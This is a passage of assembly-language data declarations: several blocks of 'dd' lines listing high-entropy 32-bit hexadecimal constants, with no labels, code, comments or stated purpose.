		dd 0C516A424h, 0D84CA57Dh, 826B3AD3h, 5FAC78B8h, 7B7EB770h
		dd 0D27CDD8Ah, 27749DD0h, 4C5564C7h, 839C98BBh,	22BCF5B8h
		dd 2932E08Ah, 0C0C60C50h, 49F190BAh, 0BF416E82h, 0B9F0A8F7h
		dd 69617F0Ah, 4BC9930Fh, 0A4522301h, 0C6857981h, 0F232FE6Ch
		dd 1782E1F5h, 37A0317Eh, 24D5934Ah, 792A8124h, 0B6335BD5h
		dd 0E08D038Dh, 0A3DC21Dh, 26B55C95h, 3802D80Dh,	8F046101h
		dd 0B3B296D7h, 271E2D19h, 28D2EACEh, 149CDEFCh,	8B919CFDh
		dd 5D933807h, 6B0413E7h, 8A201112h, 51558881h, 8747848Fh
		dd 0CA427501h, 131D9591h, 40AE7F5Fh, 4D8E634Ah,	34089AB6h
		dd 0BBE5E964h, 8AF69279h, 4B6A9A6Eh, 2197DDAAh,	6FEAC177h
		dd 2BF693DEh, 30059BCEh, 0B0AA5C80h, 0E3016D5Ah, 5A3CC107h
		dd 4ADBDDA3h, 57ECBB8Eh, 95D8F519h, 6D070B31h, 74F52E66h
		dd 1523C0A2h, 0C9BCDE24h, 14FE3353h, 81A306D1h,	6AF46224h
		dd 0BE39F999h, 0E8514F13h, 77D03CB7h, 74D7B632h, 39C17438h
		dd 0B1A6D3CCh, 0E13868DBh, 0C80577EAh, 46557C48h, 4F9CE31h
		dd 8146E565h, 0D7E61B19h, 8BF14128h, 0ECA68E8Ch, 0E4280A59h
		dd 0F8812EA3h, 1CD0950Ah, 4E8EEC0h, 0CAFD122Ch,	0CEBD321h
		dd 2502DCC0h, 1D367DABh, 3CE384B0h, 1BEF18DAh, 666A2532h
		dd 6F469FC5h, 0E628757Bh
		dd 0D1A1E833h, 20734D1Fh, 37A9A807h, 0C40FA07Dh, 879252D7h
		dd 0E592D44Bh, 8C749F0Eh, 0C975F65Fh, 0E2B804Ah, 63A8E13Eh
		dd 0FBB66005h, 0FBF80AD4h, 0AE558AD4h, 3B09B20Dh, 9293006Ah
		dd 8071346Bh, 2DAC08F0h, 30100927h, 129A9682h, 0BBB1FCC2h
		dd 0AAF11619h, 21EA6E47h, 46D8B6FFh, 4F47A01Ch,	3DA519BDh
		dd 0E9B6328Fh, 1263FA86h, 526A5739h, 0AFAD5BC9h, 8C731DB7h
		dd 5A421212h, 0F08D94F1h, 339C2904h, 1EF4D83Ch,	38178D0h
		dd 0D4E858Ah, 0FBFE2725h, 72328625h, 40390416h,	2168CC1Bh
		dd 32B4F0D3h, 2CA7A1AFh, 0FA999818h, 0CB6CCE87h, 0BA731C5Ah
		dd 0A08E9965h, 117A1346h, 0EA4CB908h, 0F3B31FF3h, 0A947595h
		dd 5DCE81ECh, 0B60C3120h, 29FBFD1Bh, 485076FBh,	35C13875h
		dd 89581FECh, 8FC06413h, 0E6624ADFh, 179E4C43h,	0D95A7C07h
		dd 0D680185Ch, 8738D0BAh, 9D3A8E8Fh, 0FA0E5D8Ah, 8B35165Ch
		dd 0A4B202A1h, 52859870h, 0A982F755h, 165EE1D3h, 53D0149Ch
		dd 0ABF25FF3h, 3350163h, 2268870Fh, 0C8110998h,	609FB79Eh
		dd 0D773B4DFh, 2819DDE5h, 6288D599h, 33E20B6Ah,	404C8014h
		dd 0FB0C4C3h, 2977B02Ah, 38B885C8h, 0F0DC0EEFh,	0D8A91681h
		dd 4A145C35h, 44C940F7h, 0B9EC6461h, 0EF978E93h, 0E4BBC81Ah
		dd 0F2DE3CC4h, 32562D68h, 0BE877819h, 362839EFh, 1C0BF7EAh
		dd 647FB9E5h, 0FEE29FB9h, 90077D16h, 8F95C8D1h,	0AA864372h
		dd 98952CFBh, 0C92AB89Ah, 7D1571BFh, 50DCEDFFh,	1CF2E616h
		dd 96307B66h, 60D5357Bh, 0D9E9D4F6h, 0CC91AB3Bh, 496A515Ch
		dd 0F1989509h, 40C1BA71h, 0C9812670h, 0E9B55EF4h, 6D638DB5h
		dd 0B20EB34h, 0F0CA486Dh, 0EBC20615h, 0C746EA6Eh, 0A6667217h
		dd 84E9205Bh, 96ABA0ADh, 2714DBF9h, 39A964E6h, 128FADEAh
		dd 4BA7EB5Ch, 1A0A9D60h, 80C5A0E3h, 99CC2AACh, 4D65E906h
		dd 0B7B5642h, 841AA29Bh, 68F4B71Ch, 3ED35E94h, 96AA4D02h
		dd 121C519Dh, 18FF435Ch, 0BC1FE81Ah, 76F30B32h,	9DFABAF0h
		dd 0E836B354h, 0EF508F7Ch, 3020040Dh, 4FA05601h, 0A3CB2835h
		dd 0D58EE032h, 0CD33A736h, 0D5326D2Fh, 0D582DB96h, 2F235DFAh
		dd 32590DEEh, 98839ACh,	0A9500439h, 95AB72CAh, 0E7EDFFA1h
		dd 50CBF0EBh, 8902D1C3h, 0A0DE4F9Fh, 7BAAE6F2h,	66DBD6D7h
		dd 867DB094h, 2FC54449h, 0CC092C1Eh, 0FEAAEA3Ah, 0E2E68093h
		dd 0BE12A54Bh, 592AE0F6h, 82D35603h, 3A40A39Ch,	48BDB57h
		dd 0D432C55Bh, 0DE25AAh, 0EE65487Ah, 4C3011F2h,	40647584h
		dd 0F092ED8Bh, 0D24E4DC2h, 0B3D52810h, 0EEE442BAh, 20DABE9Eh
		dd 0F17B2518h, 8E65546Bh, 712AE06Bh, 6CC882BEh,	608994D0h
		dd 4CFD1ECAh, 0DD10871Eh, 51168110h, 0B8CBA630h, 0D5C9CC59h
		dd 0B00E04E7h, 73DCADD8h, 68316058h, 34E14D6Ah,	0E32B0519h
		dd 0CFF6B7B1h, 95127C01h, 30B75764h, 0E35F606Fh, 0AD3D75BFh
		dd 0F803C79Fh, 257C9A1Ch, 7C51365Ah, 0D1CB3DB3h, 2F2BB9DBh
		dd 0DD4239BBh, 0EFFC235Dh, 34FADC0Eh, 0D10A0BD2h, 1A6C9A6Fh
		dd 0A12035E2h, 0A88092D3h, 194F6FBAh, 45CE4181h, 3457A7E0h
		dd 543201A3h, 907C9E1Bh, 28F39DC5h, 0A0958E2Dh,	0A7965ACh
		dd 16BE29F7h, 5087C329h, 0BAFC7229h, 65A6E218h,	243CDA6Dh
		dd 4DE8467Fh, 183732Dh,	1911481Fh, 0F08A3240h, 0FD474D22h
		dd 1831BBAAh, 0EEBAE89Bh, 7335C647h, 36219843h,	6B129525h
		dd 654A2F77h, 493AC319h, 0A2AFE18Bh, 0A69B49BCh, 0F8A6AF98h
		dd 0E3AD21AEh, 794278BEh, 8212E39Dh, 9551A1C4h,	0E3A578E7h
		dd 3476AF03h, 0C5320511h, 0FAFDB403h, 43E4BCEh,	0DE2C4043h
		dd 4699DD9Dh, 4A0ECE16h, 8441D2EDh, 75B33B43h, 0DD8F1C61h
		dd 0EEF6DAC8h, 0DB735349h, 0F4D8638h, 6745F199h, 0E9A086B2h
		dd 0D1CC91B6h, 0C341D5CBh, 791B8ECFh, 0FBDAA271h, 5E995EE9h
		dd 7BB3B46Eh, 605CA862h, 0C6FC0D1Ch, 0D0E63EE4h, 0D668181Ah
		dd 9DAFA4D8h, 4B36DAF8h, 208EA845h, 690151F9h, 6982FB99h
		dd 20B2EEC7h, 9AE9CFCEh, 327E617Bh, 0CC83DC85h,	0B1508D4Dh
		dd 1D1BF396h, 21736EDCh, 3549021Bh, 565354E3h, 9B90CE86h
		dd 0D86C5F56h, 21E96577h, 0EBCE4E92h, 6DD8D0Fh,	75995B5Fh
		dd 57B25AAh, 32EE4173h,	0C4761DE7h, 0E4FEE80Dh,	8DFF14DBh
		dd 57E67062h, 1DC21E6Bh, 0DDA4D3h, 0EDFA24D2h, 515E4052h
		dd 38AD8ADAh, 451B3F01h, 6DE3947h, 80895079h, 262E1708h
		dd 9128DFD2h, 0B85A9EA4h, 38475D29h, 0B6FAC510h, 8861FE40h
		dd 1BEEBF56h, 0FC351DFAh, 6A3547C4h, 4870D8D3h,	0BB85A317h
		dd 9D5FCB54h, 0ACA85D62h, 0F084683Fh, 0C03E74E3h, 0C3A57222h
		dd 32C24F4Eh, 811210F1h, 564C3D2Ah, 0FD33F7BAh,	0FE460775h
		dd 0D145D896h, 0C3DB27C0h, 0D6768D34h, 0C7F1FC6Eh, 77B816F0h
		dd 5F0C060Ah, 0FE6B1E91h, 76D6FC64h, 83A0AF57h,	9F1465C2h
		dd 0B19CED5Bh, 0C788104Ah, 8F675C9Ch, 38D4C67Ch, 0F380F587h
		dd 0D08E3673h, 6E121719h, 1E31BAA0h, 5BB97BF6h,	197C5C9Bh
		dd 3C2824B9h, 0E472AAC4h, 3CB834C0h, 0B774652Dh, 906E8B42h
		dd 6270D94Ch, 0B49252Fh, 0FC345775h, 0BEE6CCA8h, 0EC81E02h
		dd 2A01A012h, 8A177003h, 0B968763Bh, 7536170Dh,	0F12F77FDh
		dd 0E290E13Fh, 6018DFE2h, 52E64AA3h, 0E8272A7Fh, 65D2BC8Ch
		dd 7D52AE80h, 0A17E5A9Ah, 97B9BDEFh, 0D457B53Ah, 0CC9A2D13h
		dd 0BD7A8D81h, 324BF0DAh, 0F4377F07h, 4679E2A8h, 32DE3B5Ch
		dd 0E5A3F86Dh, 351A9611h, 0EF1D340h, 36AFAB2Fh,	1FECEACDh
		dd 0B16DCF75h, 0F78E305Dh, 7364C5B0h, 9670136Ch, 24CB5867h
		dd 4F4EF858h, 7B32D390h, 0FD34F07Bh, 17D0B0D5h,	140020BCh
		dd 231DF76Eh, 46F728BBh, 0FCF401B6h, 67E05796h,	3623BB11h
		dd 0DC6523E2h, 0DD6CA293h, 1E38B804h, 68826458h, 0B8CB6502h
		dd 5CD2A017h, 3FD904FFh, 0D6B7EC8h, 341FEEDh, 5990D213h
		dd 0DBF71A82h, 530A73F8h, 24A9DC36h, 0A02A2004h, 0A5562B56h
		dd 7D947E0h, 0FC98B478h, 53D92942h, 8099474Ah, 0A63C8AA2h
		dd 0B40CA194h, 0ED03BF2Ah, 485BEC93h, 0E8B8D15Bh, 0F1F4856Dh
		dd 3F0DBA5Ch, 249978FCh, 25CA206Fh, 5382B992h, 8ECEC072h
		dd 0B1FFF0E4h, 0F93AEAEBh, 0D1C9CF6Ah, 58A4C1A2h, 7B5378FFh
		dd 0F4FE1E63h, 0BA2122ADh, 0E9A15CA4h, 0CB82B3C8h, 63302D60h
		dd 183AD974h, 242B7C4Eh, 24C8A26Fh, 10D3553Fh, 0E15C5845h
		dd 3B648DF7h, 6DDA3C8Dh, 7FFCA2FAh, 6D57FF42h, 4ABC09D6h
		dd 1C21EE27h, 7F44721Fh, 31B1E815h, 75CB4230h, 5E967272h
		dd 51623CF2h, 302941B7h, 0D6C5571Dh, 98EC1D88h,	1480DD5Ah
		dd 14AC2E24h, 2E7CE011h, 7FE68E85h, 22695D9Ah, 0DD31A749h
		dd 0C60AB5F5h, 0FB0A715Eh, 0C08C4061h, 1B5B59E7h, 0A04C1FF9h
		dd 0B223954Ah, 0F82DC354h, 0F8EEEA60h, 2750574Dh, 0ADB8A753h
		dd 7EDF1765h, 9BE7DA2Bh, 0C7E5DAA9h, 0D76E26A8h, 4703CA95h
		dd 77B7AF65h, 19D047A7h, 862E1BDBh, 6E940575h, 0F3AF12FFh
		dd 28B196D2h, 2718D69Ah, 0A101A955h, 0B9AA760Eh, 0FC16B7B4h
		dd 0EC3BD7F9h, 6A03C685h, 865AE332h, 1FF3B33Dh,	483348C3h
		dd 0D705BB14h, 1A9BBE83h, 0BF3EE615h, 3D90F9A6h, 0A1A0BD81h
		dd 0E90B5E26h, 0DC8B242Fh, 2E958ABCh, 4E9A026Ch, 2EE8306Dh
		dd 25289430h, 0B734938Ch, 0D21D041Dh, 0C1FD44D4h, 0FAF292D2h
		dd 0BCA4BEAFh, 0AB9AA1C4h, 0BB3134DAh, 5511E029h, 0FD0CA94Ah
		dd 0E86B8C4Fh, 0C96B8E14h
		dd 0D9C05E32h, 0C82E5893h, 0D88D22E8h, 59A2B388h, 230A485Ah
		dd 0A75A867Bh, 817E34C9h, 0F0AF3FF9h, 0A3B10C92h, 737FFB80h
		dd 0F5382A54h, 0C6DB5643h, 97E66045h, 8AAF85Eh,	6E074B8Bh
		dd 52CBC21h, 697973CFh,	13FB8721h, 7C5178A8h, 36675BCFh
		dd 0CE7A0320h, 0CBE7AF45h, 3FCD3F27h, 7EBF3939h, 0FD0378CAh
		dd 2CF4704Fh, 0D09827C8h, 6155F7BBh, 0F8A888FEh, 0E9DC7537h
		dd 0DBFF40C5h, 0C8CF9B66h, 0DB6CDDC6h, 0F1451705h, 22E8F3B0h
		dd 65247051h, 0AE649AF8h, 0F8573CE1h, 827A7E5h,	31F07370h
		dd 0D03FC16Fh, 2FA065E4h, 0F2D3D6BBh, 66C1BC2Bh, 16A664D6h
		dd 96FB57B0h, 1C866FFh,	58BFF3D3h, 578D3EA6h, 0E2F85672h
		dd 3FA300C6h, 0EFA85920h, 3169C295h, 361D68FEh,	0D07B329Ch
		dd 0E71545A6h, 738143EEh, 0BAF1B746h, 0CD1E1241h, 35386419h
		dd 5648169Ch, 3F8E159h,	0E9D73FDCh, 324B7EAAh, 0E15C9FADh
		dd 0EE9975C0h, 0D52390E0h, 2B742A53h, 9971763Bh, 0A624D8C9h
		dd 0E918B38Dh, 0CCF4163Eh, 9392B629h, 6D79C1FCh, 1EB9B7EFh
		dd 3EEE2F1Fh, 4A2B566Ch, 2D3AE4EBh, 0D51AD8D2h,	687CC6FFh
		dd 72B1B496h, 0B4974678h, 0E971CE73h, 28551B8Ah, 0C22F0941h
		dd 102D0BCDh, 3C35323Bh, 9A58721Ah, 4B461BB1h, 8570433Ah
		dd 0CF9EDC13h, 0E68EF75Ch, 0CF42648Fh, 7935EA09h, 75C30A78h
		dd 0DDF7E668h, 7E96C635h, 0F97F3A2h, 2FCD6F86h,	0D0A6EA42h
		dd 5769F930h, 1CDCB015h, 15EB8A73h, 3A0F8E67h, 78FB498Fh
		dd 0DCC5E21Ch, 0BF4CC64Dh, 6967A3C1h, 0D8594E81h, 0DD081D01h
		dd 4ED82587h, 19F80429h, 0A4E3DFBDh, 0D60F3A25h, 0ACD125Bh
		dd 965F0BAFh, 0CFBD8FBBh, 6AFD85F5h, 0D59CC60Ch, 45254420h
		dd 64A71715h, 0FC639CA3h, 729B03A6h, 0CACECC43h, 39CDF4B8h
		dd 4E5EE40Ch, 2182EAEBh, 6FFD65FBh, 138F1B4Ah, 1E8ACD9Eh
		dd 0C4E32815h, 0B387CD6Eh, 2E0CDF82h, 1B41EF8Dh, 78145558h
		dd 55000723h, 73882CD5h, 0D1511B77h, 1E2075FBh,	0C8015020h
		dd 65A66Fh, 122CAF0h, 6FAF284Ah, 993F1703h, 5C4B053Ah
		dd 33CA6A1Dh, 0C10EAC25h, 834DA4F1h, 0EDB0A0ACh, 0B1B39371h
		dd 0F9FC4A3Eh, 10017365h, 5F11005Bh, 76A4C966h,	611D63A7h
		dd 2A5B3915h, 0FCD7D898h, 82C6B296h, 5B2BBEE3h,	51D6ABEBh
		dd 27651AB3h, 0DC17DA89h, 4E5ADD46h, 995D2B97h,	38AB6251h
		dd 0B9E0B3BEh, 0C2DD5385h, 0DD0750C4h, 0F46D837Dh, 13B99E7h
		dd 2A70E285h, 0E301EC05h, 0C40A94CCh, 674D31FFh, 6904BB88h
		dd 0AF01BA1Fh, 0D1970220h, 0E3862B92h, 0AA42DE51h, 0F469B42h
		dd 46BBB901h, 1D53B447h, 2B186409h, 249325AFh, 99A7BE2Fh
		dd 774AF618h, 112F5205h, 0DD165E3h, 6C1F76FBh, 6B52DEAEh
		dd 0DB362246h, 40C5B4E8h, 0DF874B21h, 0F89739D8h, 0E1C29ADCh
		dd 0FA7D7C93h, 224C5E59h, 4DE2BCA3h, 0AFE8FCCBh, 3BA8B420h
		dd 0DC1E2205h, 469A5A26h, 0CB22C801h, 0A70303A3h, 0F8D60E3Ah
		dd 0E426A2D2h, 0DC945FE0h, 7A1BC7FEh, 7947338Bh, 2BFA78E0h
		dd 56365243h, 830DE90Ah, 982440E6h, 0B8325723h,	0C489864Eh
		dd 7BC444CAh, 0DFCEAE49h, 0FC1072C8h, 8FE29D8Bh, 7C10BBC1h
		dd 0EFB93B77h, 8045E918h, 64FE7A49h, 1EA15B5Dh,	0B1659C02h
		dd 6B0DCFC3h, 0AC6A507Eh, 0F3193E6Eh, 8C8565F8h, 57146B07h
		dd 444F9AABh, 9ACC17D0h, 12E7188h, 0BA40B759h, 26643A5Dh
		dd 0E0A2457Dh, 0A102ADB7h, 5177FD6Ch, 0BFD07A39h, 0B2DF1C8Bh
		dd 9F1AD3B6h, 76ACC310h, 0A663122Bh, 957415D2h,	22F887F4h
		dd 2D0346C5h, 0A5829AEFh, 0EA3EEB29h, 652545EEh, 0AF5BFA93h
		dd 7F120C16h, 96D651CAh, 0A7C9FE05h, 0D7F151BCh, 98CB72E7h
		dd 1F8A5199h, 2B271CE5h, 807AD892h, 489A69F3h, 8C38FB06h
		dd 0A0AC94Dh, 1646380Ah, 0DCFB576Eh, 4ABE9682h,	55D2B559h
		dd 0BBA2E819h, 665C7EB1h, 324D8D9Dh, 941FF3E9h,	0FCC32B94h
		dd 4E50A705h, 0BF63631Fh, 0FB13A667h, 0B7CE55B5h, 0E2F698C5h
		dd 0B3423E33h, 0F90AE849h, 552FBF6Ch, 0A500C080h, 0E9C3A20Eh
		dd 0F6E576EFh, 0F1D1EA4h, 9C3F25A1h, 27757944h,	7AD5B258h
		dd 0CAD52A73h, 0A197911Bh, 448794FDh, 924C670Ah, 0CF4A4A54h
		dd 0C6B4C39Bh, 0D08B389Ch, 398B59F8h, 4959BDF6h, 141D8F50h
		dd 50014570h, 0E2A1025h, 0BA62243Eh, 0BC3CEE69h, 0A54BBFEh
		dd 0EB02A78Ah, 0ADAFF040h, 4571017h, 0CED186D7h, 0BF3FB1C1h
		dd 0BAF8DE7Ah, 89CC0C14h, 0E899F1E2h, 0CE69D80Bh, 0A395975h
		dd 15B42550h, 0B9C47114h, 0BA13EF8Ch, 0E7CA63F0h, 5B6B8729h
		dd 0B5811A81h, 71B20CA3h, 0D2B9A8FAh, 6537382Ah, 5123B03Ah
		dd 97EB61C6h, 6C96BF99h, 3477E590h, 618A2014h, 6DE9B813h
		dd 6476AFAEh, 5370EFE2h, 34431F03h, 0C149EF01h,	0CCA48A90h
		dd 9F857CD5h, 98E8C03Eh, 0A3BCC1E0h, 0B4E079Ah,	56CC7AEh
		dd 385F84B3h, 64F5CAC1h, 2E1BF562h, 8733040Eh, 1CEF2F03h
		dd 6656290Eh, 0EF6AC4E4h, 164D70CBh, 2B03A52h, 0CA20154Ah
		dd 1EB17528h, 64ABAF1Bh, 1B5D7CE0h, 30B71C74h, 3BD7D29Dh
		dd 992C6833h, 0E19DC428h, 9E6009AEh, 0E79E472Eh, 0EBBD7F09h
		dd 9561A59Eh, 75410792h, 0BD8F661Ah, 8C95A3FFh,	8E9AF5C0h
		dd 86A99C32h, 0B945FDD5h, 4787F66Dh, 0E068E411h, 26D735E0h
		dd 842C020Dh, 0EC9125CCh, 513225D4h, 7BB19848h,	7D0E43A9h
		dd 6936492Eh, 0B39997D6h, 921CD928h, 0A2ABD317h, 0CBC0361Ah
		dd 3FB3E4Ch, 41AC3FE5h,	0B9CE1B91h, 0F73ACFAEh,	3C230C69h
		dd 0C7F91E76h, 0C9FAE825h, 7642CE93h, 9E030A07h, 0F869B449h
		dd 929067Ah, 86BB5A0Fh,	0E29F4092h, 77DAB8D9h, 0B9639A22h
		dd 7EFF0DC1h, 0CFA71193h, 6DBF1EF7h, 705F44F7h,	0A46780Dh
		dd 1B8A0ACCh, 6626CE3Ch, 29EEAD0Fh, 663361BCh, 0C2D298B4h
		dd 0CE79E17Ch, 68706707h, 86E84533h, 636BC266h,	0F5A7672Dh
		dd 622D7698h, 0FD818328h, 795EFD6Fh, 0C7A274EFh, 3629DC56h
		dd 0BB366969h, 638F2BC9h, 0B9F263F2h, 416717F2h, 0EB9437DFh
		dd 1065B650h, 6B64AD26h, 18F33E73h, 0A0538F5h, 0C1273253h
		dd 2C84FAAh, 7210E340h,	2240ADA9h, 0AF153EF8h, 0BE111312h
		dd 5DF3CC7h, 0E56DD909h, 6A58CC24h, 182BCC06h, 3D18AEBFh
		dd 6C0D3810h, 0C9096569h, 1C239024h, 82404E4Dh,	1230209Eh
		dd 1C448230h, 9A89A400h, 7AE333CFh, 0A9772C8Eh,	7CFF5C4Eh
		dd 974D2E13h, 3E9B0F21h, 0B19E8C89h, 931424B5h,	52CFFD39h
		dd 59B6F04h, 956D78B2h,	755E0351h, 3F25B6D6h, 0D5DEC967h
		dd 0B1132477h, 0F3395FC6h, 73639182h, 560803E4h, 41CB6775h
		dd 7910F002h, 0BD5A0AD7h, 4F8E9Ah, 0F46F3D77h, 0EEF20588h
		dd 1D1F1B8Ah, 0E3AF1F66h, 3CA8BACEh, 5FF6C4CCh,	358BF0F0h
		dd 4B6CC46Ch, 0AE07F029h, 98204DEBh, 689EFA63h,	0C1C8567Eh
		dd 0F989CCDCh, 97A2CE2Dh, 1399DBABh, 6EF6F9F8h,	0DEA0D82Ch
		dd 0C51DA8C8h, 306AE942h, 0C8610B08h, 0F7BA37B0h, 0C16F59AAh
		dd 3E7A7AAh, 50113CF2h,	0ADA570C4h, 317EBB03h, 347840CFh
		dd 41F4164Bh, 7116A8A3h, 0EB839786h, 0F2855E38h, 621984F0h
		dd 0E26A533Bh, 0EEC3449Fh, 0C27190B4h, 0EEFB75ABh, 0C57B583Dh
		dd 0ECA22AEDh, 0D95C220Bh, 513839FFh, 536154E7h, 0DA33EE60h
		dd 0FD9F10AEh, 785ED5CDh, 4A262872h, 0DAE16876h, 9283181h
		dd 0DC74121h, 0ABDFCE7h, 0C70ED113h, 6703955Ch,	0A153DC8Fh
		dd 52E01756h, 29261A71h
		dd 0F720CE9Fh, 0EC748F95h, 0B23CA036h, 102F38F4h, 0A2D0EC00h
		dd 0DE1B52Ah, 0AC3BC50Ch, 16454638h, 8577D942h,	8DCEF454h
		dd 0BF9B8340h, 5ADE9A5Bh, 4A203AC6h, 0F6C1965Eh, 69C34A54h
		dd 0F07CC2E8h, 13E756Bh, 39375AECh, 9E75E014h, 2EB5DC02h
		dd 0F3B77D10h, 0D147BF3Bh, 0D78A4CF0h, 2D4D7EF5h, 0FE4EF9DCh
		dd 702C8C3Ah, 16453BAFh, 0F4235084h, 823ABCB5h,	0B14A917Dh
		dd 6A651872h, 589FE7ACh, 3C76A037h, 0A3D1ED6Fh,	477136E2h
		dd 25CE6235h, 1BA8A380h, 39A5DEE2h, 1545699Bh, 0AA8A0685h
		dd 317E4C27h, 68C731EFh, 0C156E49h, 31830E24h, 0A7218857h
		dd 0FD941A8Ah, 12FAFCBEh, 988CBC22h, 0FBFD1ACAh, 0D502F847h
		dd 831F9C0Fh, 0E60205C9h, 2AF24F26h, 7C11A68Ch,	0BF9CACB8h
		dd 0C3DE4668h, 12734058h, 1C511630h, 0CB321070h, 9ED70FB0h
		dd 265B679h, 0B081E7D3h, 0CC9C6D7Dh, 0CF47280Fh, 281348A7h
		dd 45367C13h, 4A62587Eh, 0CF7BCBD8h, 666F3B99h,	1B3BE9D3h
		dd 0DFD915B0h, 41C8BC9Bh, 7E72FAE5h, 0DB242336h, 12798BA5h
		dd 766A3CFEh, 2778ACF3h, 9C92A942h, 0B04101DBh,	8587FDB1h
		dd 0C06282B8h, 0F8BE98Dh, 0AD41D07Dh, 5B29EA55h, 898CB317h
		dd 628C0858h, 0A69B24CFh, 80A65F66h, 0BF7DC450h, 1FDD27F2h
		dd 0B6F34E3Ah, 0DA5C9E70h, 1DD65845h, 30059D0Ah, 36F87C81h
		dd 0BD62056Eh, 0A5EA451Eh, 35D964B8h, 58359906h, 0B729DD24h
		dd 8FC5483Ch, 0C9DC6175h, 0F8C3A401h, 96A1FF71h, 0DD7DFF9Bh
		dd 8E946926h, 0FFDCEB74h, 99CC83D7h, 7861B40Dh,	840EAFA6h
		dd 0EB361230h, 0BBA95720h, 0D7B9388Fh, 9A5C0742h, 4D12CAC3h
		dd 0FCFCD00Dh, 699D68FAh, 0F3076E05h, 93E87316h, 47947BADh
		dd 0C81E7B3Ch, 33C6F29Dh, 8F32E214h, 0AD1FA4FDh, 8BB6C2C1h
		dd 0B1784327h, 99E800A8h, 0C606CE46h, 9860F33h,	0F0AD6858h
		dd 831BD04Eh, 4842C882h, 0DAC079D2h, 3012966Ch,	5038D851h
		dd 274FDA19h, 9F3C1A17h, 4A5D6C0h, 0F7AB3412h, 4976D454h
		dd 0B289F4DBh, 3E02291Bh, 0ECF41CF9h, 6EC100EFh, 0D0FB2601h
		dd 0A33B4B3Fh, 9A14A640h, 70D42CD9h, 1C731BC4h,	0F7DA2103h
		dd 64E1CDE9h, 4BFE24EEh, 25E0E14Bh, 3087CAC9h, 8A105E3Ah
		dd 414DA3Eh, 2963F575h,	0C4F8128h, 1AEE4F0h, 0FB6612BEh
		dd 443F59E7h, 38C85CAAh, 486693D8h, 2396054Ah, 8D07A488h
		dd 7D34A526h, 5E01348Dh, 90AB0183h, 32D36C35h, 2BEF5884h
		dd 0DBA444C3h, 23B9EEEEh, 51EBFE77h, 43C47A00h,	7A785F9Eh
		dd 12C8EAE1h, 0BF05CBD7h, 0CC4EAC9h, 21292A4Ch,	0CFB10E9Bh
		dd 1F4AA312h, 0DCE86E15h, 0F23606A0h, 29B4E425h, 54DEEE8Eh
		dd 9A942B45h, 0C2CEAAA5h, 6770C4Fh, 8B0BBC6Dh, 87270310h
		dd 0D0AD3B2Ah, 26341E8Bh, 0AF6593F6h, 5801C79Bh, 0B82FB587h
		dd 0E0BF6707h, 0B0535947h, 0C4C4D6A0h, 0A7BD4E5Eh, 0DD249E0Ah
		dd 3168574Dh, 3F727301h, 304EAFD1h, 0A84E536Dh,	0AC50A9ABh
		dd 0DD0F5771h, 2E2EC0D2h, 0C6D41AB6h, 0D4C85D3Eh, 3F6591F6h
		dd 0F9D82B59h, 0E1A73344h, 0D50FDF2Ah, 0EF7B7CC7h, 0C982EC68h
		dd 4BA24926h, 0AB53072Eh, 0EAFF8A9Fh, 0A9E9E37Dh, 5926E01Eh
		dd 0C905DF75h, 20A35E47h, 78AB9BE3h, 0B2AF6471h, 3B7B0017h
		dd 8B4355D9h, 0A49D09CAh, 78BC0388h, 235497F4h,	9253DB48h
		dd 5FE98C8Dh, 62B9B071h, 0AFB853E3h, 8A2644F1h,	0ABC8B3D7h
		dd 0BF12AD22h, 0F4A6F91h, 0C45D0A1Fh, 78F1F6C7h, 82D77CBFh
		dd 0B1F8647Ch, 0ECB078D6h, 37226723h, 92944856h, 0C514B73Dh
		dd 0E827B076h, 56321178h, 0A7F422F2h, 7BBD042Eh, 86007ECCh
		dd 0CD4CF0Fh, 5F637A90h, 0F4BC3EFh, 0F075F1BCh,	0F422EDDDh
		dd 7B7A1E81h, 5E2DC9F0h, 0F2DE85B5h, 3D44289Ch,	901DBCF5h
		dd 9C14052Fh, 0F1602ACBh, 0E312D1C1h, 820BB497h, 0C66A3CC5h
		dd 9D8F90A9h, 0F4EC4E57h, 1522C2D4h, 8B199E19h,	1300604Ch
		dd 0E109CAB3h, 0F2662018h, 4F011D05h, 0FEEF10BFh, 0FCBF99A2h
		dd 0EA0F157h, 7253C7E5h, 58A15EACh, 4048424Bh, 50B6E27Ah
		dd 25CA2E21h, 7AEEBED0h, 0E4108BC9h, 2DAC45D8h,	8A8EABF2h
		dd 0B188ED84h, 72DE590Fh, 64AF1BF2h, 0EE737E3Bh, 74519E60h
		dd 1C2515E1h, 11D8F4E5h, 2A6EEE2Eh, 365D5C1Bh, 918A0FB0h
		dd 3496E01Dh, 0F0EA2AD4h, 5173922Dh, 0F11B22D3h, 0AF1C6DEFh
		dd 0D11A7868h, 6C99E37Eh, 66920D18h, 3F289C92h,	9F4ACAA3h
		dd 0AEF4C253h, 0ABE7B91Fh, 700ADC5Ch, 296D237Eh, 0ACA97634h
		dd 5A36C7C4h, 176C6BDAh, 0B4439CD8h, 755039DEh,	0F7E5D29Bh
		dd 0FC8105CFh, 28DA1AD6h, 0C19BEDC8h, 717AACACh, 37B40FCh
		dd 6A03BA59h, 3143571Eh, 0AD25E50Ch, 4710683Bh,	88D73625h
		dd 9B186E70h, 227C9B8Dh, 0BA55E1ACh, 0E96A752Ch, 0E7ACD677h
		dd 0F171A3Ch, 635FBDC9h, 0BA021542h, 8EEF5992h,	700DC5CCh
		dd 20057F6Ah, 10DBF6DFh, 7391A9E1h, 0A3C6D6AEh,	2BA56B55h
		dd 0D2A33E13h, 2B677260h, 0CCC78081h, 0AED4F573h, 0CC8D0628h
		dd 0D639CE44h, 0A37C133Bh, 0E7623D35h, 0C6962B44h, 1273832Ch
		dd 6D14CB73h, 0DBFF1761h, 8E489FACh, 0A0E6F476h, 815AB3EFh
		dd 7DA9E9E2h, 45F9C1EBh, 0E9FF02D9h, 0F9DD4BB3h, 12DF375Dh
		dd 14579A2Fh, 948D2DF0h, 0C67FE06h, 71716FCAh, 2762C631h
		dd 97982BA8h, 21C56262h, 25113F16h, 6F8FB50h, 0CA71D4CFh
		dd 7E3440A7h, 0F1B57D09h, 0C1E8BD4Ah, 871239B0h, 3A06A185h
		dd 0D79AE4AFh, 3A958D19h, 70F9E6ADh, 3F0AAFC4h,	8D23C86Ch
		dd 2471878Eh, 2C7F3559h, 96D26D8Ch, 55FF0ADAh, 0CB54984Fh
		dd 794FC180h, 0F65C5F7Fh, 0CD944A59h, 0CC042EC7h, 7CCA7F5Ch
		dd 0C71870D9h, 33D87CFBh, 0BA05181Eh, 0AFD579FBh, 56C81049h
		dd 0BCDC521Bh, 0B90670EFh, 3B87B7B3h, 5035CEE0h, 386CF5BCh
